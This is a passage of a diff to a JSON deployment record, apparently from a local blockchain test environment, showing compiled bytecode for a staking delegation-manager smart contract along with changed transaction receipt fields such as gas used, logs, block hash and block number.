01b81526001600160a01b03828116600483015260609182916000917f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6909116906360f4062b90602401602060405180830381865afa158015611c2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c529190615605565b6040516394f649dd60e01b81526001600160a01b03868116600483015291925060009182917f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9909116906394f649dd90602401600060405180830381865afa158015611cc2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611cea919081019061567c565b9150915060008313611d0157909590945092505050565b6060808351600003611dba576040805160018082528183019092529060208083019080368337505060408051600180825281830190925292945090506020808301908036833701905050905073beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac082600081518110611d7557611d756152db565b60200260200101906001600160a01b031690816001600160a01b0316815250508481600081518110611da957611da96152db565b602002602001018181525050611f68565b8351611dc7906001615753565b6001600160401b03811115611dde57611dde614be6565b604051908082528060200260200182016040528015611e07578160200160208202803683370190505b50915081516001600160401b03811115611e2357611e23614be6565b604051908082528060200260200182016040528015611e4c578160200160208202803683370190505b50905060005b8451811015611ee657848181518110611e6d57611e6d6152db565b6020026020010151838281518110611e8757611e876152db565b60200260200101906001600160a01b031690816001600160a01b031681525050838181518110611eb957611eb96152db565b6020026020010151828281518110611ed357611ed36152db565b6020908102919091010152600101611e52565b5073beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac08260018451611f0b9190615766565b81518110611f1b57611f1b6152db565b60200260200101906001600160a01b031690816001600160a01b031681525050848160018451611f4b9190615766565b81518110611f5b57611f5b6152db565b6020026020010181815250505b9097909650945050505050565b606654606090600190600290811603611fa05760405162461bcd60e51b8152600401610ab5906152f1565b611fa98361153f565b6120295760405162461bcd60e51b8152602060048201526044602482018190527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a207374908201527f616b6572206d7573742062652064656c65676174656420746f20756e64656c656064820152636761746560e01b608482015260a401610ab5565b61203283611700565b156120a55760405162461bcd60e51b815260206004820152603d60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a206f7060448201527f657261746f72732063616e6e6f7420626520756e64656c6567617465640000006064820152608401610ab5565b6001600160a01b0383166121215760405162461bcd60e51b815260206004820152603c60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a20636160448201527f6e6e6f7420756e64656c6567617465207a65726f2061646472657373000000006064820152608401610ab5565b6001600160a01b038084166000818152609a6020526040902054909116903314806121545750336001600160a01b038216145b8061217b57506001600160a01b038181166000908152609960205260409020600101541633145b6121ed5760405162461bcd60e51b815260206004820152603d60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a20636160448201527f6c6c65722063616e6e6f7420756e64656c6567617465207374616b65720000006064820152608401610ab5565b6000806121f986611bbe565b9092509050336001600160a01b0387161461224f57826001600160a01b0316866001600160a01b03167ff0eddf07e6ea14f388b47e1e94a0f464ecbd9eed4171130e0fc0e99fb4030a8a60405160405180910390a35b826001600160a01b0316866001600160a01b03167ffee30966a256b71e14bc0ebfc94315e28ef4a97a7131a9e2b7a310a73af4467660405160405180910390a36001600160a01b0386166000908152609a6020526040812080546001600160a01b0319169055825190036122d3576040805160008152602081019091529450612425565b81516001600160401b038111156122ec576122ec614be6565b604051908082528060200260200182016040528015612315578160200160208202803683370190505b50945060005b82518110156124235760408051600180825281830190925260009160208083019080368337505060408051600180825281830190925292935060009291506020808301908036833701905050905084838151811061237b5761237b6152db565b602002602001015182600081518110612396576123966152db565b60200260200101906001600160a01b031690816001600160a01b0316815250508383815181106123c8576123c86152db565b6020026020010151816000815181106123e3576123e36152db565b6020026020010181815250506123fc89878b85856127eb565b88848151811061240e5761240e6152db565b6020908102919091010152505060010161231b565b505b50505050919050565b6124373361153f565b156124b55760405162461bcd60e51b815260206004820152604260248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f3a20737460448201527f616b657220697320616c7265616479206163746976656c792064656c65676174606482015261195960f21b608482015260a401610ab5565b6124be83611700565b61253f5760405162461bcd60e51b815260206004820152604660248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f3a206f7060448201527f657261746f72206973206e6f74207265676973746572656420696e2045696765606482015265372630bcb2b960d11b608482015260a401610ab5565b61109233848484612fa0565b61255433611700565b6125d25760405162461bcd60e51b815260206004820152604360248201527f44656c65676174696f6e4d616e616765722e6d6f646966794f70657261746f7260448201527f44657461696c733a2063616c6c6572206d75737420626520616e206f706572616064820152623a37b960e91b608482015260a401610ab5565b610fdd3382612dad565b6125e46133a7565b6001600160a01b0381166126495760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ab5565b610fdd816137a2565b60007f0000000000000000000000000000000000000000000000000000000000007a694603612682575060975490565b61268a61370b565b905090565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156126e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127069190615417565b6001600160a01b0316336001600160a01b0316146127365760405162461bcd60e51b8152600401610ab590615434565b6066541981196066541916146127b45760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610ab5565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016111cb565b60006001600160a01b0386166128825760405162461bcd60e51b815260206004820152605060248201527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448201527f6e6451756575655769746864726177616c3a207374616b65722063616e6e6f7460648201526f206265207a65726f206164647265737360801b608482015260a401610ab5565b825160000361290f5760405162461bcd60e51b815260206004820152604d60248201527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448201527f6e6451756575655769746864726177616c3a207374726174656769657320636160648201526c6e6e6f7420626520656d70747960981b608482015260a401610ab5565b60005b8351811015612cbb576001600160a01b03861615612968576129688688868481518110612941576129416152db565b602002602001015186858151811061295b5761295b6152db565b602002602001015161332c565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06001600160a01b0316848281518110612998576129986152db565b60200260200101516001600160a01b031603612a60577f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe66001600160a01b031663beffbb89888584815181106129f0576129f06152db565b60200260200101516040518363ffffffff1660e01b8152600401612a299291906001600160a01b03929092168252602082015260400190565b600060405180830381600087803b158015612a4357600080fd5b505af1158015612a57573d6000803e3d6000fd5b50505050612cb3565b846001600160a01b0316876001600160a01b03161480612b3257507f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c96001600160a01b0316639b4da03d858381518110612abc57612abc6152db565b60200260200101516040518263ffffffff1660e01b8152600401612aef91906001600160a01b0391909116815260200190565b602060405180830381865afa158015612b0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b3091906154db565b155b612bfe5760405162461bcd60e51b8152602060048201526084602482018190527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448301527f6e6451756575655769746864726177616c3a2077697468647261776572206d7560648301527f73742062652073616d652061646472657373206173207374616b657220696620908201527f746869726450617274795472616e7366657273466f7262696464656e2061726560a482015263081cd95d60e21b60c482015260e401610ab5565b7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c96001600160a01b0316638c80d4e588868481518110612c4057612c406152db565b6020026020010151868581518110612c5a57612c5a6152db565b60200260200101516040518463ffffffff1660e01b8152600401612c8093929190615779565b600060405180830381600087803b158015612c9a57600080fd5b505af1158015612cae573d6000803e3d6000fd5b505050505b600101612912565b506001600160a01b0386166000908152609f60205260408120805491829190612ce38361579d565b919050555060006040518060e00160405280896001600160a01b03168152602001886001600160a01b03168152602001876001600160a01b031681526020018381526020014363ffffffff1681526020018681526020018581525090506000612d4b82611626565b6000818152609e602052604090819020805460ff19166001179055519091507f9009ab153e8014fbfb02f2217f5cde7aa7f9ad734ae85ca3ee3f4ca2fdd499f990612d9990839085906157b6565b60405180910390a198975050505050505050565b6213c680612dc160608301604084016157cf565b63ffffffff161115612e765760405162461bcd60e51b815260206004820152606c60248201527f44656c65676174696f6e4d616e616765722e5f7365744f70657261746f72446560448201527f7461696c733a207374616b65724f70744f757457696e646f77426c6f636b732060648201527f63616e6e6f74206265203e204d41585f5354414b45525f4f50545f4f55545f5760848201526b494e444f575f424c4f434b5360a01b60a482015260c401610ab5565b6001600160a01b0382166000908152609960205260409081902060010154600160a01b900463ffffffff1690612eb290606084019084016157cf565b63ffffffff161015612f485760405162461bcd60e51b815260206004820152605360248201527f44656c65676174696f6e4d616e616765722e5f7365744f70657261746f72446560448201527f7461696c733a207374616b65724f70744f757457696e646f77426c6f636b732060648201527218d85b9b9bdd08189948191958dc99585cd959606a1b608482015260a401610ab5565b6001600160a01b03821660009081526099602052604090208190612f6c828261580c565b505060405133907ffebe5cd24b2cbc7b065b9d0fdeb904461e4afcff57dd57acda1e7832031ba7ac90611af9908490615391565b606654600090600190811603612fc85760405162461bcd60e51b8152600401610ab5906152f1565b6001600160a01b03808516600090815260996020526040902060010154168015801590612ffe5750336001600160a01b03821614155b80156130135750336001600160a01b03861614155b156131805742846020015110156130925760405162461bcd60e51b815260206004820152603760248201527f44656c65676174696f6e4d616e616765722e5f64656c65676174653a2061707060448201527f726f766572207369676e617475726520657870697265640000000000000000006064820152608401610ab5565b6001600160a01b0381166000908152609c6020908152604080832086845290915290205460ff161561312c5760405162461bcd60e51b815260206004820152603760248201527f44656c65676174696f6e4d616e616765722e5f64656c65676174653a2061707060448201527f726f76657253616c7420616c7265616479207370656e740000000000000000006064820152608401610ab5565b6001600160a01b0381166000908152609c6020908152604080832086845282528220805460ff1916600117905585015161316d9088908890859088906109c8565b905061317e82828760000151614152565b505b6001600160a01b038681166000818152609a602052604080822080546001600160a01b031916948a169485179055517fc3ee9f2e5fda98e8066a1f745b2df9285f416fe98cf2559cd21484b3d87433049190a36000806131df88611bbe565b9150915060005b82518110156113515761322d888a858481518110613206576132066152db565b6020026020010151858581518110613220576132206152db565b60200260200101516138ee565b6001016131e6565b6001600160a01b0381166132c35760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610ab5565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03808516600090815260986020908152604080832093861683529290529081208054839290613363908490615766565b92505081905550836001600160a01b03167f6909600037b75d7b4733aedd815442b5ec018a827751c832aaff64eba5d6d2dd848484604051610f1f93929190615779565b6033546001600160a01b031633146117335760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610ab5565b8281146134895760405162461bcd60e51b815260206004820152604a60248201527f44656c65676174696f6e4d616e616765722e5f7365745374726174656779576960448201527f746864726177616c44656c6179426c6f636b733a20696e707574206c656e67746064820152690d040dad2e6dac2e8c6d60b31b608482015260a401610ab5565b8260005b818110156136195760008686838181106134a9576134a96152db565b90506020020160208101906134be919061499b565b6001600160a01b038116600090815260a160205260408120549192508686858181106134ec576134ec6152db565b90506020020135905062034bc08111156135b05760405162461bcd60e51b815260206004820152607360248201527f44656c65676174696f6e4d616e616765722e5f7365745374726174656779576960448201527f746864726177616c44656c6179426c6f636b733a205f7769746864726177616c60648201527f44656c6179426c6f636b732063616e6e6f74206265203e204d41585f5749544860848201527244524157414c5f44454c41595f424c4f434b5360681b60a482015260c401610ab5565b6001600160a01b038316600081815260a160209081526040918290208490558151928352820184905281018290527f0e7efa738e8b0ce6376a0c1af471655540d2e9a81647d7b09ed823018426576d9060600160405180910390a150505080600101905061348d565b505050505050565b6065546001600160a01b031615801561364257506001600160a01b03821615155b6136c45760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610ab5565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261370782613235565b5050565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b62034bc08111156138ad5760405162461bcd60e51b815260206004820152607160248201527f44656c65676174696f6e4d616e616765722e5f7365744d696e5769746864726160448201527f77616c44656c6179426c6f636b733a205f6d696e5769746864726177616c446560648201527f6c6179426c6f636b732063616e6e6f74206265203e204d41585f5749544844526084820152704157414c5f44454c41595f424c4f434b5360781b60a482015260c401610ab5565b609d5460408051918252602082018390527fafa003cd76f87ff9d62b35beea889920f33c0c42b8d45b74954d61d50f4b6b69910160405180910390a1609d55565b6001600160a01b03808516600090815260986020908152604080832093861683529290529081208054839290613925908490615753565b92505081905550836001600160a01b03167f1ec042c965e2edd7107b51188ee0f383e22e76179041ab3a9d18ff151405166c848484604051610f1f93929190615779565b60006139776105f38761586f565b6000818152609e602052604090205490915060ff166139f85760405162461bcd60e51b8152602060048201526043602482015260008051602061599983398151915260448201527f645769746864726177616c3a20616374696f6e206973206e6f7420696e20717560648201526265756560e81b608482015260a401610ab5565b609d544390613a0d60a0890160808a016157cf565b63ffffffff16613a1d9190615753565b1115613aa55760405162461bcd60e51b815260206004820152605f602482015260008051602061599983398151915260448201527f645769746864726177616c3a206d696e5769746864726177616c44656c61794260648201527f6c6f636b7320706572696f6420686173206e6f74207965742070617373656400608482015260a401610ab5565b613ab5606087016040880161499b565b6001600160a01b0316336001600160a01b031614613b425760405162461bcd60e51b8152602060048201526050602482015260008051602061599983398151915260448201527f645769746864726177616c3a206f6e6c7920776974686472617765722063616e60648201526f1031b7b6b83632ba329030b1ba34b7b760811b608482015260a401610ab5565b8115613bc457613b5560a0870187615348565b85149050613bc45760405162461bcd60e51b8152602060048201526042602482015260008051602061599983398151915260448201527f645769746864726177616c3a20696e707574206c656e677468206d69736d61746064820152610c6d60f31b608482015260a401610ab5565b6000818152609e60205260409020805460ff191690558115613d295760005b613bf060a0880188615348565b9050811015613d23574360a16000613c0b60a08b018b615348565b85818110613c1b57613c1b6152db565b9050602002016020810190613c30919061499b565b6001600160a01b03168152602081019190915260400160002054613c5a60a08a0160808b016157cf565b63ffffffff16613c6a9190615753565b1115613c885760405162461bcd60e51b8152600401610ab59061587b565b613d1b613c98602089018961499b565b33613ca660a08b018b615348565b85818110613cb657613cb66152db565b9050602002016020810190613ccb919061499b565b613cd860c08c018c615348565b86818110613ce857613ce86152db565b905060200201358a8a87818110613d0157613d016152db565b9050602002016020810190613d16919061499b565b61430c565b600101613be3565b50614117565b336000908152609a60205260408120546001600160a01b0316905b613d5160a0890189615348565b9050811015614114574360a16000613d6c60a08c018c615348565b85818110613d7c57613d7c6152db565b9050602002016020810190613d91919061499b565b6001600160a01b03168152602081019190915260400160002054613dbb60a08b0160808c016157cf565b63ffffffff16613dcb9190615753565b1115613de95760405162461bcd60e51b8152600401610ab59061587b565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac0613e0b60a08a018a615348565b83818110613e1b57613e1b6152db565b9050602002016020810190613e30919061499b565b6001600160a01b031603613f7f576000613e4d60208a018a61499b565b905060006001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe616630e81073c83613e8e60c08e018e615348565b87818110613e9e57613e9e6152db565b6040516001600160e01b031960e087901b1681526001600160a01b03909416600485015260200291909101356024830152506044016020604051808303816000875af1158015613ef2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613f169190615605565b6001600160a01b038084166000908152609a6020526040902054919250168015613f7757613f778184613f4c60a08f018f615348565b88818110613f5c57613f5c6152db565b9050602002016020810190613f71919061499b565b856138ee565b50505061410c565b7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c96001600160a01b031663c4623ea133898985818110613fc157613fc16152db565b9050602002016020810190613fd6919061499b565b613fe360a08d018d615348565b86818110613ff357613ff36152db565b9050602002016020810190614008919061499b565b61401560c08e018e615348565b87818110614025576140256152db565b60405160e088901b6001600160e01b03191681526001600160a01b03968716600482015294861660248601529290941660448401526020909102013560648201526084019050600060405180830381600087803b15801561408557600080fd5b505af1158015614099573d6000803e3d6000fd5b505050506001600160a01b0382161561410c5761410c82336140be60a08c018c615348565b858181106140ce576140ce6152db565b90506020020160208101906140e3919061499b565b6140f060c08d018d615348565b86818110614100576141006152db565b905060200201356138ee565b600101613d44565b50505b6040518181527fc97098c2f658800b4df29001527f7324bcdffcf6e8751a699ab920a1eced5b1d9060200160405180910390a1505050505050565b6001600160a01b0383163b1561426c57604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e906141929086908690600401615903565b602060405180830381865afa1580156141af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906141d39190615958565b6001600160e01b031916146110925760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610ab5565b826001600160a01b0316614280838361444c565b6001600160a01b0316146110925760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610ab5565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeabf196001600160a01b038416016143b75760405162387b1360e81b81526001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6169063387b13009061438090889088908790600401615779565b600060405180830381600087803b15801561439a57600080fd5b505af11580156143ae573d6000803e3d6000fd5b50505050614445565b60405163c608c7f360e01b81526001600160a01b03858116600483015284811660248301526044820184905282811660648301527f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9169063c608c7f390608401600060405180830381600087803b15801561443157600080fd5b505af1158015611351573d6000803e3d6000fd5b5050505050565b600080600061445b8585614468565b915091506109be816144d6565b600080825160410361449e5760208301516040840151606085015160001a6144928782858561468c565b945094505050506144cf565b82516040036144c757602083015160408401516144bc868383614779565b9350935050506144cf565b506000905060025b9250929050565b60008160048111156144ea576144ea615982565b036144f25750565b600181600481111561450657614506615982565b036145535760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610ab5565b600281600481111561456757614567615982565b036145b45760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610ab5565b60038160048111156145c8576145c8615982565b036146205760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610ab5565b600481600481111561463457614634615982565b03610fdd5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610ab5565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156146c35750600090506003614770565b8460ff16601b141580156146db57508460ff16601c14155b156146ec5750600090506004614770565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015614740573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661476957600060019250925050614770565b9150600090505b94509492505050565b6000806001600160ff1b0383168161479660ff86901c601b615753565b90506147a48782888561468c565b935093505050935093915050565b60008083601f8401126147c457600080fd5b5081356001600160401b038111156147db57600080fd5b6020830191508360208260051b85010111156144cf57600080fd5b6000806020838503121561480957600080fd5b82356001600160401b0381111561481f57600080fd5b61482b858286016147b2565b90969095509350505050565b6001600160a01b0381168114610fdd57600080fd5b803561485781614837565b919050565b600080600080600060a0868803121561487457600080fd5b853561487f81614837565b9450602086013561488f81614837565b9350604086013561489f81614837565b94979396509394606081013594506080013592915050565b602080825282518282018190526000918401906040840190835b81811015610ddd5783518352602093840193909201916001016148d1565b60006060828403121561490157600080fd5b50919050565b60008083601f84011261491957600080fd5b5081356001600160401b0381111561493057600080fd5b6020830191508360208285010111156144cf57600080fd5b60008060006080848603121561495d57600080fd5b61496785856148ef565b925060608401356001600160401b0381111561498257600080fd5b61498e86828701614907565b9497909650939450505050565b6000602082840312156149ad57600080fd5b81356149b881614837565b9392505050565b6000806000606084860312156149d457600080fd5b83356149df81614837565b925060208401356149ef81614837565b929592945050506040919091013590565b600060208284031215614a1257600080fd5b5035919050565b60008060008060408587031215614a2f57600080fd5b84356001600160401b03811115614a4557600080fd5b614a51878288016147b2565b90955093505060208501356001600160401b03811115614a7057600080fd5b614a7c878288016147b2565b95989497509550505050565b60008060008060008060008060c0898b031215614aa457600080fd5b8835614aaf81614837565b97506020890135614abf81614837565b9650604089013595506060890135945060808901356001600160401b03811115614ae857600080fd5b614af48b828c016147b2565b90955093505060a08901356001600160401b03811115614b1357600080fd5b614b1f8b828c016147b2565b999c989b5096995094979396929594505050565b6000806000806000806000806080898b031215614b4f57600080fd5b88356001600160401b03811115614b6557600080fd5b614b718b828c016147b2565b90995097505060208901356001600160401b03811115614b9057600080fd5b614b9c8b828c016147b2565b90975095505060408901356001600160401b03811115614bbb57600080fd5b614bc78b828c016147b2565b90955093505060608901356001600160401b03811115614b1357600080fd5b634e487b7160e01b600052604160045260246000fd5b60405160e081016001600160401b0381118282101715614c1e57614c1e614be6565b60405290565b604080519081016001600160401b0381118282101715614c1e57614c1e614be6565b604051601f8201601f191681016001600160401b0381118282101715614c6e57614c6e614be6565b604052919050565b63ffffffff81168114610fdd57600080fd5b803561485781614c76565b60006001600160401b03821115614cac57614cac614be6565b5060051b60200190565b600082601f830112614cc757600080fd5b8135614cda614cd582614c93565b614c46565b8082825260208201915060208360051b860101925085831115614cfc57600080fd5b602085015b83811015614d22578035614d1481614837565b835260209283019201614d01565b5095945050505050565b600082601f830112614d3d57600080fd5b8135614d4b614cd582614c93565b8082825260208201915060208360051b860101925085831115614d6d57600080fd5b602085015b83811015614d22578035835260209283019201614d72565b600060e08284031215614d9c57600080fd5b614da4614bfc565b9050614daf8261484c565b8152614dbd6020830161484c565b6020820152614dce6040830161484c565b604082015260608281013590820152614de960808301614c88565b608082015260a08201356001600160401b03811115614e0757600080fd5b614e1384828501614cb6565b60a08301525060c08201356001600160401b03811115614e3257600080fd5b614e3e84828501614d2c565b60c08301525092915050565b600060208284031215614e5c57600080fd5b81356001600160401b03811115614e7257600080fd5b614e7e84828501614d8a565b949350505050565b600060208284031215614e9857600080fd5b813560ff811681146149b857600080fd5b8015158114610fdd57600080fd5b600080600080600060808688031215614ecf57600080fd5b85356001600160401b03811115614ee557600080fd5b860160e08189031215614ef757600080fd5b945060208601356001600160401b03811115614f1257600080fd5b614f1e888289016147b2565b909550935050604086013591506060860135614f3981614ea9565b809150509295509295909350565b60008060408385031215614f5a57600080fd5b8235614f6581614837565b91506020830135614f7581614837565b809150509250929050565b600060408284031215614f9257600080fd5b614f9a614c24565b905081356001600160401b03811115614fb257600080fd5b8201601f81018413614fc357600080fd5b80356001600160401b03811115614fdc57614fdc614be6565b614fef601f8201601f1916602001614c46565b81815285602083850101111561500457600080fd5b81602084016020830137600060209282018301528352928301359282019290925292915050565b600080600080600060a0868803121561504357600080fd5b853561504e81614837565b9450602086013561505e81614837565b935060408601356001600160401b0381111561507957600080fd5b61508588828901614f80565b93505060608601356001600160401b038111156150a157600080fd5b6150ad88828901614f80565b95989497509295608001359392505050565b600080604083850312156150d257600080fd5b82356150dd81614837565b915060208301356001600160401b038111156150f857600080fd5b61510485828601614cb6565b9150509250929050565b600081518084526020840193506020830160005b82811015615140578151865260209586019590910190600101615122565b5093949350505050565b6020815260006149b8602083018461510e565b6000806020838503121561517057600080fd5b82356001600160401b0381111561518657600080fd5b61482b85828601614907565b600080604083850312156151a557600080fd5b82356151b081614837565b946020939093013593505050565b600080600080608085870312156151d457600080fd5b84356151df81614837565b93506020850135925060408501356151f681614837565b9396929550929360600135925050565b600081518084526020840193506020830160005b828110156151405781516001600160a01b031686526020958601959091019060010161521a565b6040815260006152546040830185615206565b828103602084015261120f818561510e565b60008060006060848603121561527b57600080fd5b833561528681614837565b925060208401356001600160401b038111156152a157600080fd5b6152ad86828701614f80565b93969395505050506040919091013590565b6000606082840312156152d157600080fd5b6149b883836148ef565b634e487b7160e01b600052603260045260246000fd5b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b60008235605e1983360301811261533e57600080fd5b9190910192915050565b6000808335601e1984360301811261535f57600080fd5b8301803591506001600160401b0382111561537957600080fd5b6020019150600581901b36038213156144cf57600080fd5b6060810182356153a081614837565b6001600160a01b0316825260208301356153b981614837565b6001600160a01b0316602083015260408301356153d581614c76565b63ffffffff811660408401525092915050565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b60006020828403121561542957600080fd5b81516149b881614837565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b60208082526037908201527f44656c65676174696f6e4d616e616765723a206f6e6c7953747261746567794d60408201527f616e616765724f72456967656e506f644d616e61676572000000000000000000606082015260800190565b6000602082840312156154ed57600080fd5b81516149b881614ea9565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000823560de1983360301811261533e57600080fd5b60006020828403121561556857600080fd5b81356149b881614ea9565b80516001600160a01b03908116835260208083015182169084015260408083015190911690830152606080820151908301526080808201516000916155bf9085018263ffffffff169052565b5060a082015160e060a08501526155d960e0850182615206565b905060c083015184820360c086015261120f828261510e565b6020815260006149b86020830184615573565b60006020828403121561561757600080fd5b5051919050565b600082601f83011261562f57600080fd5b815161563d614cd582614c93565b8082825260208201915060208360051b86010192508583111561565f57600080fd5b602085015b83811015614d22578051835260209283019201615664565b6000806040838503121561568f57600080fd5b82516001600160401b038111156156a557600080fd5b8301601f810185136156b657600080fd5b80516156c4614cd582614c93565b8082825260208201915060208360051b8501019250878311156156e657600080fd5b6020840193505b8284101561571157835161570081614837565b8252602093840193909101906156ed565b8095505050505060208301516001600160401b0381111561573157600080fd5b6151048582860161561e565b634e487b7160e01b600052601160045260246000fd5b808201808211156109c2576109c261573d565b818103818111156109c2576109c261573d565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6000600182016157af576157af61573d565b5060010190565b828152604060208201526000614e7e6040830184615573565b6000602082840312156157e157600080fd5b81356149b881614c76565b80546001600160a01b0319166001600160a01b0392909216919091179055565b813561581781614837565b61582181836157ec565b5060018101602083013561583481614837565b61583e81836157ec565b50604083013561584d81614c76565b815463ffffffff60a01b191660a09190911b63ffffffff60a01b161790555050565b60006109c23683614d8a565b6020808252606e9082015260008051602061599983398151915260408201527f645769746864726177616c3a207769746864726177616c44656c6179426c6f6360608201527f6b7320706572696f6420686173206e6f74207965742070617373656420666f7260808201526d207468697320737472617465677960901b60a082015260c00190565b828152604060208201526000825180604084015260005b81811015615937576020818601810151606086840101520161591a565b506000606082850101526060601f19601f8301168401019150509392505050565b60006020828403121561596a57600080fd5b81516001600160e01b0319811681146149b857600080fd5b634e487b7160e01b600052602160045260246000fdfe44656c65676174696f6e4d616e616765722e5f636f6d706c6574655175657565a2646970667358221220cbe856cde7c5bcfd582d4b89705de7c9eaac9afdc5d0cafafaf46a903a95abd164736f6c634300081b0033", + "nonce": 12, + "gas_used": 5054169 }, "receipt": { "type": "0x2", "status": "0x1", - "cumulativeGasUsed": "0x45626e", + "cumulativeGasUsed": "0x4d1ed9", "logs": [ { - "address": "0x68b1d87f95878fe05b998f19b66f4baba5de1aed", + "address": "0xa51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c0", "topics": [ "0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498" ], "data": "0x00000000000000000000000000000000000000000000000000000000000000ff" } ], - "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000008000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000" + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000480000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000002000000000000000000000000400000000000" }, - "block_hash": "0x8eb1c59d065e15379942853c55bc35bff71cfdb061fd2e43925e4b69d77906a1", - "block_number": 11 + "block_hash": "0x7eb9955e73be07f63fef905d294c917294787636411afeab3995d8e4fa1081f5", + "block_number": 10 }, { "info": { @@ -5677,10 +5873,10 @@ "selfdestruct_transferred_value": null, "kind": "CALL", "value": "0x0", - "data": 